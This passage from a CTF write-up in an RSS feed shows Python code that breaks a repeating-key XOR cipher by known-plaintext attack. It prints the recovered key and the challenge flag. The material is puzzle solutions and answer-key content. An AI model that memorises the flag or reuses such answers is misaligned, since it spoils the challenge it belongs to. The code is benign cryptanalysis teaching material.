&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;typing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;TypedDict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;textwrap&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;wrap&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;xor&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;XORSolution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TypedDict&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;cleartext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decode_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hint&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;List&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;XORSolution&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;cipher_ascii&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;letter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;letter&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wrap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt; &lt;span class="n"&gt;known_cleartext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ii&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
            &lt;span class="n"&gt;rotated_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ii&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="n"&gt;cleartext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cipher_ascii&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rotated_key&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;known_cleartext&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cleartext&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;hint&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cleartext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="s"&gt;"key"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rotated_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"cleartext"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cleartext&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Python Script Output
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;A Python script that prints all valid solutions for the full ciphertext and the ciphertext without the first character:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;ciphertext_hex1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"ae27eb3a148c3cf031079921ea3315cd27eb7d02882bf724169921eb3a469920e07d0b883bf63c018869a5090e8868e331078a68ec2e468c2bf13b1d9a20ea0208882de12e398c2df60211852deb021f823dda35079b2dda25099f35ab7d218227e17d0a982bee7d098368f13503cd27f135039f68e62f1f9d3cea7c"&lt;/span&gt;
&lt;span class="n"&gt;known_cleartext1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"actf{"&lt;/span&gt;
&lt;span class="n"&gt;hint1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"flag"&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;solution&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;decode_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;known_cleartext1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hint1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"key: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;solution&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'key'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"message: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;solution&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'cleartext'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;solution&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;decode_xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext_hex1&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:],&lt;/span&gt; &lt;span class="n"&gt;known_cleartext1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hint1&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"key: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;solution&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'key'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"message: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;solution&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;'cleartext'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;The output of the screen described immediately above:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key: [237, 72, 133, 93, 102])
message: Congratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
key: [72, 133, 93, 102, 237])
message: ongratulations on decrypting the message! The flag is actf{who_needs_aes_when_you_have_xor}. Good luck on the other crypto!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;: &lt;code&gt;actf{who_needs_aes_when_you_have_xor}&lt;/code&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
  </channel>
</rss>
